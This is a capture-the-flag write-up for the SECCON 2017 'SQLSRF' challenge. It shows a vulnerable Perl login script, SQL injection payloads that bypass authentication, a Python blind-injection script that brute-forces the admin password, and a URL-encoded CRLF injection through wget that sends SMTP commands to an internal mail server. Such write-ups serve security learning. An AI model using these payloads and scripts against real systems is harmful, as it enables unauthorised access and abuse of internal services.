SQLSRF  
======

The task is to send a mail to root with the subject "give me flag".  
## The beginning

The given task address `http://sqlsrf.pwn.seccon.jp/sqlsrf/` greets us with a
directory listing:

![directory listing](https://i.imgur.com/KTRPKMW.png)

Clicking `index.cgi` or `menu.cgi` redirects to the following login page:

![ekran logowania](https://i.imgur.com/xqstcwd.png)

The `index.cgi_backup20171129` file contains the login `index.cgi` script:

```  
#!/usr/bin/perl

use CGI;  
my $q = new CGI;

use CGI::Session;  
my $s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef,
{Directory=>'/tmp'});  
$s->expire('+1M'); require './.htcrypt.pl';

my $user = $q->param('user');  
print $q->header(-charset=>'UTF-8', -cookie=>  
[  
$q->cookie(-name=>'CGISESSID', -value=>$s->id),  
($q->param('save') eq '1' ? $q->cookie(-name=>'remember',
-value=>&encrypt($user), -expires=>'+1M') : undef)  
]),  
$q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017',
-bgcolor=>'black');  
$user = &decrypt($q->cookie('remember')) if($user eq '' &&
$q->cookie('remember') ne '');

my $errmsg = '';  
if($q->param('login') ne '') {  
use DBI;  
my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB');  
my $sth = $dbh->prepare("SELECT password FROM users WHERE
username='".$q->param('user')."';");  
$errmsg = '<h2 style="color:red">Login Error!</h2>';  
eval {  
$sth->execute();  
if(my @row = $sth->fetchrow_array) {  
if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq
&encrypt($q->param('pass'))) {  
$s->param('autheduser', $q->param('user'));  
print "<scr"."ipt>document.location='./menu.cgi';</script>";  
$errmsg = '';  
}  
}  
};  
if($@) {  
$errmsg = '<h2 style="color:red">Database Error!</h2>';  
}  
$dbh->disconnect();  
}  
$user = $q->escapeHTML($user);

print <<"EOM";

<div style="background:#000 url(./bg-header.jpg) 50% 50% no-
repeat;position:fixed;width:100%;height:300px;top:0;">  
</div>  
<div style="position:relative;top:300px;color:white;text-align:center;">  
<h1>Login</h1>  
<form action="?" method="post">$errmsg  
<table border="0" align="center"
style="background:white;color:black;padding:50px;border:1px solid darkgray;">  
<tr><td>Username:</td><td><input type="text" name="user"
value="$user"></td></tr>  
<tr><td>Password:</td><td><input type="password" name="pass"
value=""></td></tr>  
<tr><td colspan="2"><input type="checkbox" name="save" value="1">Remember
Me</td></tr>  
<tr><td colspan="2" align="right"><input type="submit" name="login"
value="Login"></td></tr>  
</table>  
</form>  
</div>  
</body>  
</html>  
EOM

1;  
```

## Authentication bypass

The first thing to do here is probably to log in. The login script shows that
the authentication is done by pulling the encrypted user password from the
database and comparing it to the result of `encrypt(pass)`, where pass is the
password parameter we supply in the login form.

The username form field is prone to SQL injection, which can be seen in the
script and confirmed by sending a `'` username and getting a `Database
Error!`.

Maybe it's possible to use the SQLi to directly execute our code (for example
the `mail` command)? After a bit of googling, a code execution exploit can be
found for example [here](http://resources.infosecinstitute.com/code-execution-
and-privilege-escalation-databases/), but it requires stacked queries. Another
bit of googling shows that the DBI SQLite driver doesn't allow stacked
queries, so that's a no go. No other exploits can be easily found, so it's
back to trying to log in.

One way to use SQLi to bypass the authorization here is to supply an arbitrary
password - for example `'abc'`, and make the query return `encrypt('abc')`. If
we can do that, then the authentication method described above will compare
the `encrypt('abc')` "database" password we forced by SQLi with the result of
`encrypt('abc')`, because we supply `'abc'` as password.

The SQLi part is easy - supplying `' UNION SELECT '{}'; --` as the username
will result in the following query:

```  
SELECT password FROM users WHERE username='' UNION SELECT '{}'; --';  
```

which will return `{}`. All we have to do is find the value of
`encrypt('abc')` and put it in place of `{}`.

The problem is that the `encrypt` function is supplied from a local file, so
we don't know what kind of encryption it is. However, the script also shows
that when we check the `Remember me` field and try to log in, the value of
`encrypt(user)` (where user is the username parameter we supply in the login
form) is stored in the `remember` cookie. Conversely, it can also be deducted
that if we don't supply any username and the `remember` cookie is present, the
value of `decrypt(cookie['remember'])` is shown in the username form field
when the page reloads after clicking `Login`.

Therefore we have a simple way to encrypt and decrypt any string we like:  
* encrypt(**s**): check the `Remember me` checkbox, put **s** in the username field, click `Login`, read the `remember` cookie  
* decrypt(**s**): set the `remember` cookie to **s**, leave the form fields empty, click `Login`, read the username field value

Using the following method, we get that `encrypt('abc') =
'a37ad08a8b145d11edf2d82254be0b58'`. All that's left is to log in with the
following credentials:

```  
user = ' UNION SELECT 'a37ad08a8b145d11edf2d82254be0b58'; --  
pass = abc  
```

And we're logged in:

![logged in](https://imgur.com/YXna5Kk.png)

## Gaining admin privileges

The first button on the page can be used to send the `netstat -tnl` command to
the server and retrieve its output:

![logged in](https://imgur.com/SuTSS2U.png)

The services active on the server are HTTP, SSH and SMTP. From the outside,
only HTTP and SSH can be seen as open, so the SMTP server is probably behind a
firewall. Since our task is to send a mail, we probably have to find a way to
communicate with this server.

Modifying the `cmd` parameter that contains the netsat command to try and
insert another command instead of it, after it, or as its parametr yields no
results. It appears that the server checks the command for string equality, so
that's probably not exploitable.

The second button looks like it can be used to retrieve the results of a
`wget` command in which we control the address. However, there's a warning
saying that only a person with the username `'admin'` can use the button and
the button is disabled.

First, let's check if the warning's not fake and the button being disabled
isn't the only thing preventing us from using it. Unfortunately, neither
making the button enabled and using it, nor altering the `cmd` and `args` form
parameters in BurpSuite while sendig a request seem to give any results. The
next step then seems to be to log in with the username `'admin'`.

The `authed_user` parameter, which probably determines our identity to the
server, is stored in the session, server-side, so it's probably not possible
to alter it after we log in. We also can't use our previous method to log in,
because anything we put in the username form field is treated as our username
to the server - so it has to be exactly `'admin'`.

It looks like we have to get the password for the `'admin'` user from the
database. The passwords in the databases are stored encrypted, but thankfully
we already have a method to decrypt any given string.

Since we don't get any output from the database returned to us, we have to use
blind SQL injection to retrieve the password char-by-char. The first step is
to find an action that depends on the SQL query and is observable, so we can
check if it suceeded or not - get a binary response. Fortunately, we already
have that action at hand - logging in!

Let's analyze this. First, it can be confirmed that the

```  
' UNION SELECT 'a37ad08a8b145d11edf2d82254be0b58'; --  
```

username parameter can be changed to

```  
' UNION SELECT 'a37ad08a8b145d11edf2d82254be0b58' FROM users WHERE
username='admin'; --  
```

and it still works. But now, we can append an AND condition at the end of it
and test if the condition is true or not. If it's true, we should log in
successfully and if it's false we'll get a `Login Error!`. Let's confirm that
this aproach works:

```  
' UNION SELECT 'a37ad08a8b145d11edf2d82254be0b58' FROM users WHERE
username='admin' AND 1=1; --  
```  
logs us in successfully, while  
```  
' UNION SELECT 'a37ad08a8b145d11edf2d82254be0b58' FROM users WHERE
username='admin' AND 1=2; --  
```  
gets us the login error.

Now that we know that testing the condition works, we have to find a condition
that we can use to retrieve the admin password. The `SUBSTR()` function can be
used for that - we can use it to compare any character of the password to an
arbitrary character. For example `SUBSTR(password, 10, 1)='a'` checks if the
10th character of the password is 'a'. The whole username paremeter should
then become:

```  
' UNION SELECT 'a37ad08a8b145d11edf2d82254be0b58' FROM users WHERE
username='admin' AND SUBSTR(password, {}, 1)='{}'; --  
```

where we substitute the `{}`s with the position of the character in the
password and the character we want to compare it against.

We can use the parameter above to brute-force the password. Outputs from the
`encrypt()` function were 32 characters long, so the password should be the
same size. So we have to check 32 password characters against 100 printable
characters. That's at most 3200 requests - not too bad, and of course we can
write the script so that it stops checking the current position after a
matching character is found.

The following script gets us the encrypted password in under 3 minutes:

```{python}  
import re  
import requests  
import string

ADDRESS = 'http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi'  
USERNAME_BASE = '\' UNION SELECT \'a37ad08a8b145d11edf2d82254be0b58\' from
users where username=\'admin\' AND SUBSTR(password, {}, 1)=\'{}\';--'  
PASSWORD_LENGTH = 32

def get_password_char(pos):  
for char in string.printable:  
data = {  
'login': 'Login',  
'user': USERNAME_BASE.format(str(pos), char),  
'pass': 'abc',  
}  
r = requests.post(ADDRESS, data)

m = re.search(r'Login Error!', r.text)  
print(char, 'logged' if not m else 'nope')

if not m:  
return char

def brute_force_password():  
password_chars = []  
for i in range(1, 1 + PASSWORD_LENGTH):  
next_char = get_password_char(i)  
password_chars.append(next_char)  
print(''.join(password_chars))

brute_force_password()  
```

The encrypted password found by the script is
`d2f37e101c0e76bcc90b5634a5510f64`. The only thing left is to decrypt the
password using the `remember` cookie and log in as admin. The decrypted
password is `Yes!Kusomon!!`, and we are logged in:

![admin logged in](https://imgur.com/wgQC15Z.png)

## Sending mail via wget

Now the `wget --debug -O /dev/stdout 'http://{}'` command becomes available
and its output is shown on the page. Again, none of the command injection
tricks work here, the *only* thing we control is the address in the wget
command. We can't even modify the flags.

Googling `wget exploit` gets us two exploits from 2016 which lead to arbitrary
write, and through it to code execution. Unfortunately, none of the two works
with the `-O` flag that we have set.

Our task is still to send an email, so let's try inputting the address of our
target SMTP server: `127.0.0.1:25`. We get the following response:

```  
Setting --output-document (outputdocument) to /dev/stdout  
DEBUG output created by Wget 1.14 on linux-gnu.

URI encoding = 'ANSI_X3.4-1968'  
Converted file name 'index.html' (UTF-8) -> 'index.html' (ANSI_X3.4-1968)  
\--2017-12-11 01:41:39-- http://127.0.0.1:25/  
Connecting to 127.0.0.1:25... connected.  
Created socket 4.  
Releasing 0x0000000001c70c20 (new refcount 0).  
Deleting unused 0x0000000001c70c20.

\---request begin---  
GET / HTTP/1.1  
User-Agent: Wget/1.14 (linux-gnu)  
Accept: */*  
Host: 127.0.0.1:25  
Connection: Keep-Alive

\---request end---  
HTTP request sent, awaiting response...  
\---response begin---  
\---response end---  
200 No headers, assuming HTTP/0.9  
Registered socket 4 for persistent reuse.  
Length: unspecified  
Saving to: '/dev/stdout'  
220 ymzk01.pwn ESMTP patched-Postfix  
502 5.5.2 Error: command not recognized  
502 5.5.2 Error: command not recognized  
502 5.5.2 Error: command not recognized  
502 5.5.2 Error: command not recognized  
502 5.5.2 Error: command not recognized  
500 5.5.2 Error: bad syntax  
```

We see that the server tries to interpret each of the 5 lines of our HTTP
request and it doesn't stop after encountering a bad command. This leads us to
believe that if we had the ability to add arbitrary headers to the request, we
could probably communicate with the server. Normally, to add headers to the
requests in wget you have to set appropriate flags, which we can't do.

However, after next fair bit of googling, the following vulnerability can be
found: http://lists.gnu.org/archive/html/bug-wget/2017-03/msg00018.html. As it
turns out, there's a bug in wget's url escaping, which makes the host part of
the url prone to CRLF injection and in turn allows us to set arbitrary headers
on the request.

However, after trying out the exploit on a test value, we get the following
result:

```  
Setting --output-document (outputdocument) to /dev/stdout  
DEBUG output created by Wget 1.14 on linux-gnu.

URI encoding = 'ANSI_X3.4-1968'  
http://127.0.0.1:25%0d0atest/: Bad port number.  
```

It looks like the exploit in its current form doesn't work well with an
address with a specified port. Fortunately we can move the port part to the
end of the string and it works - `127.0.0.1%0d%0atest:25/` gives us:

```  
Setting --output-document (outputdocument) to /dev/stdout  
DEBUG output created by Wget 1.14 on linux-gnu.

URI encoding = 'ANSI_X3.4-1968'  
Converted file name 'index.html' (UTF-8) -> 'index.html' (ANSI_X3.4-1968)  
\--2017-12-11 01:50:58-- http://127.0.0.1%0D%0Atest:25/  
Resolving 127.0.0.1\r\ntest (127.0.0.1\r\ntest)... 127.0.0.1  
Caching 127.0.0.1  
test => 127.0.0.1  
Connecting to 127.0.0.1  
test (127.0.0.1  
test)|127.0.0.1|:25... connected.  
Created socket 4.  
Releasing 0x0000000001b59c60 (new refcount 1).

\---request begin---  
GET / HTTP/1.1  
User-Agent: Wget/1.14 (linux-gnu)  
Accept: */*  
Host: 127.0.0.1  
test:25  
Connection: Keep-Alive

\---request end---  
HTTP request sent, awaiting response...  
\---response begin---  
\---response end---  
200 No headers, assuming HTTP/0.9  
Registered socket 4 for persistent reuse.  
Length: unspecified  
Saving to: '/dev/stdout'  
220 ymzk01.pwn ESMTP patched-Postfix  
502 5.5.2 Error: command not recognized  
502 5.5.2 Error: command not recognized  
502 5.5.2 Error: command not recognized  
502 5.5.2 Error: command not recognized  
502 5.5.2 Error: command not recognized  
502 5.5.2 Error: command not recognized  
500 5.5.2 Error: bad syntax  
```

The server now tries to interpret 6 commands, so it looks like it received our
`test` command. So now we have to find out how the SMTP protocol works, write
a minimal example that sends an email to root, with our mail set as the sender
and subject set to `'give me flag'`. Analyzing the first google result leaves
us with:

```  
HELO towca  
MAIL FROM:<[email protected]>  
RCPT TO:<root>  
DATA  
Subject: give me flag

abc  
.  
```

This sequence of commands should make the server send an email to `root` from
`[email protected]` with the subject `'give me flag'` and the body `'abc'`.

Now all we have to do is take the text above, add additional newlines at the
beginning and at the end, and pass it through an url-encoder (url-encoding
turns all newlines into %0d%0a). Then, place the resulting string between
`127.0.0.1` and `:25/`. So in the end, we have to send:

```  
127.0.0.1%0D%0AHELO%20towca%0D%0AMAIL%20FROM%3A%3Cmy_mail%40gmail.com%3E%0D%0ARCPT%20TO%3A%3Croot%3E%0D%0ADATA%0D%0ASubject%3A%20give%20me%20flag%0D%0A%0D%0Aabc%0D%0A.%0D%0A:25/  
```

This gives us the following output:

```  
Setting --output-document (outputdocument) to /dev/stdout  
DEBUG output created by Wget 1.14 on linux-gnu.

URI encoding = 'ANSI_X3.4-1968'  
Converted file name 'index.html' (UTF-8) -> 'index.html' (ANSI_X3.4-1968)  
\--2017-12-11 04:59:17--
http://[127.0.0.1%0D%0Ahelo%20towca%0D%0Amail%20from:%3Cmy_mail%40gmail.com%3E%0D%0Arcpt%20to:%3Croot%3E%0D%0Adata%0D%0Asubject:%20give%20me%20flag%0D%0A%0D%0Aabc%0D%0A.%0D%0A]:25/  
Resolving 127.0.0.1\r\nhelo towca\r\nmail from:<[email protected]>\r\nrcpt
to:<root>\r\ndata\r\nsubject: give me flag\r\n\r\nabc\r\n.\r\n
(127.0.0.1\r\nhelo towca\r\nmail from:<[email protected]>\r\nrcpt
to:<root>\r\ndata\r\nsubject: give me flag\r\n\r\nabc\r\n.\r\n)... 127.0.0.1  
Caching 127.0.0.1  
helo towca  
mail from:<[email protected]>  
rcpt to:<root>  
data  
subject: give me flag

abc  
.  
=> 127.0.0.1  
Connecting to 127.0.0.1  
helo towca  
mail from:<[email protected]>  
rcpt to:<root>  
data  
subject: give me flag

abc  
.  
(127.0.0.1  
helo towca  
mail from:<[email protected]>  
rcpt to:<root>  
data  
subject: give me flag

abc  
.  
)|127.0.0.1|:25... connected.  
Created socket 4.  
Releasing 0x00000000010e1ec0 (new refcount 1).

\---request begin---  
GET / HTTP/1.1  
User-Agent: Wget/1.14 (linux-gnu)  
Accept: */*  
Host: [127.0.0.1  
helo towca  
mail from:<[email protected]>  
rcpt to:<root>  
data  
subject: give me flag

abc  
.  
]:25  
Connection: Keep-Alive

\---request end---  
HTTP request sent, awaiting response...  
\---response begin---  
\---response end---  
200 No headers, assuming HTTP/0.9  
Registered socket 4 for persistent reuse.  
Length: unspecified  
Saving to: '/dev/stdout'  
220 ymzk01.pwn ESMTP patched-Postfix  
502 5.5.2 Error: command not recognized  
502 5.5.2 Error: command not recognized  
502 5.5.2 Error: command not recognized  
502 5.5.2 Error: command not recognized  
250 ymzk01.pwn  
250 2.1.0 Ok  
250 2.1.5 Ok  
354 End data with <CR><LF>.<CR><LF>  
250 2.0.0 Ok: queued as 6B85326633  
502 5.5.2 Error: command not recognized  
502 5.5.2 Error: command not recognized  
500 5.5.2 Error: bad syntax  
```

As we can see, our commands were sent in the headers, and the server's `250
2.0.0 Ok: queued as 6B85326633` response means that everything went according
to plan. After checking `[email protected]`, we get the following email:

```  
Encrypted-FLAG:
37208e07f86ba78a7416ecd535fd874a3b98b964005a5503bcaa41a1c9b42a19  
```

Even though the encrypted string here is twice as long as the previous outputs
from the `encrypt()` function, when we use the `remember` cookie to decrypt
it, we finally get the flag:

```  
SECCON{SSRFisMyFriend!}  
```

Original writeup (https://hackmd.io/s/S19dfxoWM).